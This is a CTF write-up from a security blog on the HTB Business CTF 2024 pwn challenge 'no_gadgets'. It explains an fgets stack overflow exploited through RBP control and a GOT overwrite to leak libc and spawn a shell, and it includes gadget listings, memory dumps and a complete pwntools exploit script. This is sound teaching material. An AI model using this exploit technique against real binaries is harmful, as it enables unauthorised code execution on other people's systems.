Skip to main content
Contact us: blog@ukatemi.com
TECHNICAL BLOG ukatemi.com

HTB Business CTF 2024 - pwn - no_gadgets

TL;DR #

Using fgets stack buffer overflow, gain arbitrary write to known address using RBP control. Use this to overwrite strlen@.got.plt with call printf to leak libc address (others with their original resolver) and use the same technique to call system("/bin/sh").

This challenge was marked easy (40 solves) but I only got on the right track 1h before the end of the event so I couldn't solve it till the end.

The task #

The challenge has no stack canary and no PIE:

$ checksec ./challenge/no_gadgets
[*] '/home/cstamas/ctf/2024-05-18-hackthebox-business/pwn/pwn_no_gadgets/challenge/no_gadgets'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

Our task was to exploit an fgets stack buffer overflow in a binary with almost no ROP gadgets.

undefined8 main(void)

{
  size_t sVar1;
  char local_88 [128];
  
  setup();
  puts(&DAT_00402008);
  puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
  printf("Data: ");
  fgets(local_88,0x1337,stdin);
  sVar1 = strlen(local_88);
  if (0x80 < sVar1) {
    puts("Woah buddy, you\'ve entered so much data that you\'ve reached the point of no return!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts("Pathetic, \'tis but a scratch!");
  return 0;
}

Exploit #

The challenge uses fgets which reads until a \n (0a) character, includes it in the output and appends a closing 00, so our input will always end in 0a00. This very much limits partial overwrite techniques. I viewed most libc addresses currently on the stack that we could partially overwrite by 00 or 0a00 (with 1/16 chance of correct address), but couldn't find anything useful. Usage of both printf with a single argument is suspicious. Let's look at the memory layout of the process:

$ cat /proc/15088/maps
003ff000-00400000 rw-p 00000000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00400000-00401000 r--p 00001000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00401000-00402000 r-xp 00002000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00402000-00403000 r--p 00003000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00403000-00404000 r--p 00003000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00404000-00405000 rw-p 00004000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
713d88c00000-713d88c28000 r--p 00000000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88c28000-713d88dbd000 r-xp 00028000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88dbd000-713d88e15000 r--p 001bd000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88e15000-713d88e19000 r--p 00214000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88e19000-713d88e1b000 rw-p 00218000 103:03 28451592                  pwn_no_gadgets/challenge/libc.so.6
713d88e1b000-713d88e28000 rw-p 00000000 00:00 0
713d88eb7000-713d88ebc000 rw-p 00000000 00:00 0
713d88ebc000-713d88ec0000 r--p 00000000 00:00 0                          [vvar]
713d88ec0000-713d88ec2000 r-xp 00000000 00:00 0                          [vdso]
713d88ec2000-713d88ec4000 r--p 00000000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
713d88ec4000-713d88eee000 r-xp 00002000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
713d88eee000-713d88ef9000 r--p 0002c000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
713d88efa000-713d88efc000 r--p 00037000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
713d88efc000-713d88efe000 rw-p 00039000 103:03 28451593                  pwn_no_gadgets/challenge/ld-2.35.so
7ffc93809000-7ffc9382a000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

We can only select ROP gadgets from executable segments that we know the address of. So it only leaves 00401000-00402000, the code in the challenge binary itself. Let's view the few gadgets we have:

$ ROPgadget --binary ./challenge/no_gadgets
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401270 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004010b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401271 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401272 : add byte ptr [rax], al ; leave ; ret
0x00000000004010ba : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401084 : add byte ptr [rax], al ; push 5 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401273 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011d3 : call qword ptr [rax + 0x4855c35d]
0x0000000000401010 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x00000000004010ec : jmp rax
0x0000000000401274 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040126f : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401082 : movabs byte ptr [0x56800002f], al ; jmp 0x401020
0x00000000004011d4 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010bc : nop dword ptr [rax] ; ret
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401086 : push 5 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401279 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401278 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

Unique gadgets found: 68

They didn't lie, this isn't much. We can:

The registers when we hit RET:

RSP	= 7ffc93827ce8
RIP	= 401275
RAX	= 0
RCX	= 713d88d14a37
RDX	= 1
RBX	= 0
RBP	= WE CONTROL IT
RSI	= 1
RDI	= 713d88e1ba70
R8	= 1d
R9	= 0
R10	= 713d88c0e940
R11	= 246
R12	= 7ffc93827df8
R13	= 4011d7
R14	= 403e00
R15	= 713d88efc040

main ends in LEAVE (which is mov RSP, RBP; pop RBP), so we control RBP with our overflow.

00401274 c9              LEAVE
00401275 c3              RET

Ok, so ROP chaining isn't viable because of the lack of gadgets. But we can still jump to other addresses in the binary. ROPgadgets won't list these as they don't end in a ret, jmp, call or variants.

00401207 48 8d 05        LEA        RAX,[s_Data:_0040259a]                           = "Data: "
         8c 13 00 00
0040120e 48 89 c7        MOV        RDI=>s_Data:_0040259a,RAX                        = "Data: "
00401211 b8 00 00        MOV        EAX,0x0
         00 00
00401216 e8 35 fe        CALL       ::printf                               int printf(char * __format, ...)
         ff ff
0040121b 48 8b 15        MOV        RDX,qword ptr [stdin]
         2e 2e 00 00
00401222 48 8d 45 80     LEA        RAX=>local_88,[RBP + -0x80]
00401226 be 37 13        MOV        ESI,0x1337
         00 00
0040122b 48 89 c7        MOV        RDI,RAX
0040122e e8 2d fe        CALL       ::fgets                                char * fgets(char * __s, int __n, FILE * __stream)
         ff ff
00401233 48 8d 45 80     LEA        RAX=>local_88,[RBP + -0x80]
00401237 48 89 c7        MOV        RDI,RAX
0040123a e8 01 fe        CALL       ::strlen                               size_t strlen(char * __s)
         ff ff

Remember, that we control the value of RBP so if we jump to 0040121b and execute until fgets, RDI = RAX = RBP-0x80 assignment will take place, so we control RDI which holds the destination buffer address for fgets. With this, we can write any data (that doesn't have 0a in it) to a known address. There are two segments that match this criteria.

003ff000-00400000 rw-p 00000000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets
00404000-00405000 rw-p 00004000 103:03 28451590                          pwn_no_gadgets/challenge/no_gadgets

The first contains the header of the executable and many zeros, we cannot use this. The second one contains .got.plt. Because the binary is Rartial RELRO (RELocation Read-Only), we can overwrite entries in the .got.plt. Ok, we are getting somewhere! So if we overwrite the saved RBP on the stack with 0x404000 + 0x80 = 0x404080 and jump back to 0x40121b, we can overwrite the complete .got.plt. Ok, so what should we write?

                     PTR_puts_00404000                               XREF[1]:     puts:00401030  
00404000 08 50 40        addr       ::puts                                 = ??
         00 00 00 
         00 00
                     PTR_strlen_00404008                             XREF[1]:     strlen:00401040  
00404008 10 50 40        addr       ::strlen                               = ??
         00 00 00 
         00 00
                     PTR_printf_00404010                             XREF[1]:     printf:00401050  
00404010 18 50 40        addr       ::printf                               = ??
         00 00 00 
         00 00
                     PTR_fgets_00404018                              XREF[1]:     fgets:00401060  
00404018 20 50 40        addr       ::fgets                                = ??
         00 00 00 
         00 00
                     PTR_setvbuf_00404020                            XREF[1]:     setvbuf:00401070  
00404020 30 50 40        addr       ::setvbuf                              = ??
         00 00 00 
         00 00

strlen@.got.plt is a good target as it is a function that gets a single argument, the address of our input buffer where we just wrote. If we could overwrite strlen with system, we could call system("/bin/sh"). But for this, we need to know where libc is loaded in memory. (partially overwriting strlen's address with 00 won't give us system, nor a One Gadget, but was worth a thought) So we need to leak (print to stdout) a libc address and trigger the vulnerability again.

We can use printf to print its arguments as addresses with %p or more fancily with $1%016lx. As the first argument is the format string itself (in RDI), this is going to print the values of RSI, RDX, RCX, R8, R9 and then things on stack. So with %p%p%p%p we can print RSI, RDX, RCX, R8. Ok, so %p%p%p%p (8 bytes) overwrite puts@.got.plt, next up is strlen and it should somehow result in a printf call without calling puts, because it's address is overwritten with %p%p%p%p and would result in SIGSEGV. And also it should retrigger our vulnerability. So let's just overwrite it with 00401216 which is call <EXTERNAL>::printf and fgets will follow. And let's overwrite all the leftover .got.plt entries with their original resolver address, so they get resolved again and work correctly.

payload = b''
payload += b'\x00'*0x80
payload += p64(elf.got['puts'] + 0x80) + p64(0x401275) + p64(0x40121b)

p.sendlineafter(b"Data: ", payload)

# We use got.puts to hold our payload
payload = b'%p%p%p%p' # got.puts
# Then we repopulate all got entries by plt resolver
payload += p64(0x0000000000401211) # got.strlen -> call printf
payload += p64(elf.plt['printf'] + 0x6) # got.printf
payload += p64(elf.plt['fgets'] + 0x6) # got.fgets
payload += p64(elf.plt['setvbuf'] + 0x6) # got.setvbuf
payload += p64(elf.plt['exit'] + 0x6) # got.exit
assert b'\x0a' not in payload, 'Wrong char in payload'
p.sendline(payload)

You may notice that there is an extra p64(0x401275) we haven't talked about. This is just a ret for alignment, because otherwise calling printf fails with SIGSEGV. Any odd number of rets would work.

This is what the stack looks like after the overwrite:

7ffc93827c60: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827c70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827c80: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827c90: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827ca0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827cb0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827cc0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827cd0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffc93827ce0: 8040 4000 0000 0000 7512 4000 0000 0000  .@@.....u.@.....
7ffc93827cf0: 1b12 4000 0000 0000 0a00 4000 0000 0000  ..@.......@.....

And this is the original .got.plt:

00404000: d00e c888 3d71 0000 60d9 d988 3d71 0000  ....=q..`...=q..
00404010: 7007 c688 3d71 0000 00f4 c788 3d71 0000  p...=q......=q..
00404020: 7016 c888 3d71 0000 8610 4000 0000 0000  p...=q....@.....

And this is after the overwrite:

00404000: 2570 2570 2570 2570 1112 4000 0000 0000  %p%p%p%p..@.....
00404010: 5610 4000 0000 0000 6610 4000 0000 0000  V.@.....f.@.....
00404020: 7610 4000 0000 0000 8610 4000 0000 0000  v.@.......@.....

Now we can parse the leaked value of RSI and calculate the base address of libc:

p.recvuntil(b'scratch!\n')
leak = int(p.recv(64)[2:14], 16)
libc_base = leak - 0x219b23
libc.address = libc_base

print(f'LIBC_BASE = {hex(libc_base)}')

As the vuln vas triggered again right away, we can call system("/bin/sh") with the same strlen@.got.plt overwrite.

payload = b'/bin/sh\x00' # got.puts
payload += p64(libc.symbols['system']) # got.strlen

p.sendline(payload)

p.interactive()

Here is the full solution:

from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack

p = None


def run():
    global p
    chall = './no_gadgets'
    context.binary = chall
#    context.log_level = 'debug'
    p = process(chall)
#    p = remote("94.237.56.30", "41910")
    elf = ELF(chall)
    rop = ROP(elf)
    libc = ELF('./libc.so.6')

    pause()

    RBP = p64(0x00401216 + 0x80)
    payload = b''
    payload += b'\x00'*0x80
    payload += p64(elf.got['puts'] + 0x80) + p64(0x401275) + p64(0x40121b)

    p.sendlineafter(b"Data: ", payload)

    # We use got.puts to hold our payload
    payload = b'%p%p%p%p' # got.puts
    # Then we repopulate all got entries by plt resolver
    payload += p64(0x0000000000401211) # got.strlen -> call printf
    payload += p64(elf.plt['printf'] + 0x6) # got.printf
    payload += p64(elf.plt['fgets'] + 0x6) # got.fgets
    payload += p64(elf.plt['setvbuf'] + 0x6) # got.setvbuf
    payload += p64(elf.plt['exit'] + 0x6) # got.exit

    assert b'\x0a' not in payload, 'Wrong char in payload'

    p.sendline(payload)

    p.recvuntil(b'scratch!\n')
    leak = int(p.recv(64)[2:14], 16)
    libc_base = leak - 0x219b23
    libc.address = libc_base

    print(f'LIBC_BASE = {hex(libc_base)}')

    payload = b'/bin/sh\x00' # got.puts
    payload += p64(libc.symbols['system']) # got.printf and also strlen

    p.sendline(payload)

    p.interactive()

if __name__ == "__main__":
    run()

Want to message us? Contact us: blog@ukatemi.com